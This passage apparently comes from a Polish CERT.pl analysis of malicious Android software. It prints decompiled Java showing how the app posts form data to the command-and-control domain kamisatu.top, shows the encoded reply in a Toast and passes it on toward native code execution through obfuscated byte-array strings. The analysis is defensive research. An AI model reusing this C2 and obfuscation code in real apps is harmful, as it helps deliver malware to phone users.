class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;92&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;baseUrl&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;code&gt;buildPostForm()&lt;/code&gt;: Konstruuje dane formularza dla żądania POST z mapy parametrów &lt;code&gt;mParamsMap&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt; &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="n"&gt;AbstractC0376N&lt;/span&gt; &lt;span class="nf"&gt;buildPostForm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Map&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;ArrayList&lt;/span&gt; &lt;span class="n"&gt;arrayList&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;ArrayList&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;ArrayList&lt;/span&gt; &lt;span class="n"&gt;arrayList2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;ArrayList&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;map&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isEmpty&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Map&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Entry&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;entrySet&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;TextUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isEmpty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getKey&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="n"&gt;Object&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getValue&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                    &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getKey&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                        &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                        &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                    &lt;span class="p"&gt;}&lt;/span&gt;
                    &lt;span class="n"&gt;AbstractC0137f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m3656e&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                    &lt;span class="n"&gt;AbstractC0137f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m3656e&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;value&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                    &lt;span class="n"&gt;arrayList&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0386b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m3282b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot; \&amp;quot;&amp;#39;:;&amp;lt;=&amp;gt;@[]^`{}|/\\?#&amp;amp;!$(),~&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
                    &lt;span class="n"&gt;arrayList2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0386b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m3282b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot; \&amp;quot;&amp;#39;:;&amp;lt;=&amp;gt;@[]^`{}|/\\?#&amp;amp;!$(),~&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;C0403s&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arrayList&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arrayList2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;code&gt;Request Builder (C0371I)&lt;/code&gt;: Tworzy żądanie sieciowe, ustawiając adres URL, metodę HTTP (POST) i treść (dane formularza).&lt;/p&gt;
&lt;p&gt;Metoda &lt;code&gt;exe()&lt;/code&gt; jest wywoływana w celu wykonania zadania i wysłania żądania:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;InterfaceC0394j&lt;/span&gt; &lt;span class="nf"&gt;exe&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;doTask&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Po pomyślnym zakończeniu żądania, odpowiedź jest przetwarzana przez metodę &lt;code&gt;onSuccess()&lt;/code&gt; w wywołaniu zwrotnym:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;onSuccess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Toast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;makeText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Odpowiedź z serwera jest wyświetlana w wiadomości Toast, wskazując, że serwer zwrócił zakodowane lub zaszyfrowane dane. Toast został tutaj prawdopodobnie użyty jako alternatywa dla schowka, gdyż nie wymaga dodatkowych uprawnień. Wiadomość Toast, którą widzi użytkownik wygląda następująco:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cert.pl/uploads/2024/09/5.png"&gt;&lt;/p&gt;
&lt;p&gt;Tutaj Toast wyświetla ciąg znaków, który jest odpowiedzią zwrotną po wysłaniu zapytania na adres &lt;code&gt;kamisatu.top/setting/scenery&lt;/code&gt;. Jednak, jak się okazuje, wartość nie jest tylko wyświetlana w Toast, ale jest również  przekazywana w innej części APK. Kluczową metodą łączącą wiadomość Toast z natywnym wykonaniem kodu jest metoda handleBody(). Jest ona odpowiedzialna za obsługę odpowiedzi serwera i przetwarzanie danych po wyświetleniu wiadomości w Toast:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;EntityType&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;handleBody&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0378P&lt;/span&gt; &lt;span class="n"&gt;c0378p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;RequestCallback&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;EntityType&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;requestCallback&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;EntityType&lt;/span&gt; &lt;span class="n"&gt;entitytype&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;Type&lt;/span&gt; &lt;span class="n"&gt;genericType&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;AbstractC0382U&lt;/span&gt; &lt;span class="n"&gt;abstractC0382U&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c0378p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f1052g&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;abstractC0382U&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;abstractC0382U&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;string&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;requestCallback&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;genericType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Generics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getGenericType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;requestCallback&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getClass&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;RequestCallback&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;genericType&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;Void&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;entitytype&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;entitytype&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;genericType&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="n"&gt;Object&lt;/span&gt; &lt;span class="n"&gt;parseObject&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;JsonUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;genericType&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                    &lt;span class="n"&gt;entitytype&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parseObject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parseObject&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                        &lt;span class="n"&gt;onError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;convert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AbstractC1835n&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m226m&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;71&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;92&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;124&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;87&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;71&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;121&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;86&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;67&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;102&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;102&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;78&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;82&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;125&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;66&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="n"&gt;AbstractC1835n&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m226m&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;107&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;69&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;125&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;121&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;76&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;110&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;121&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;89&lt;/span&gt;&lt;span class="p"&gt;})),&lt;/span&gt; &lt;span class="n"&gt;requestCallback&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                    &lt;span class="p"&gt;}&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="n"&gt;onSuccess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entitytype&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;requestCallback&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
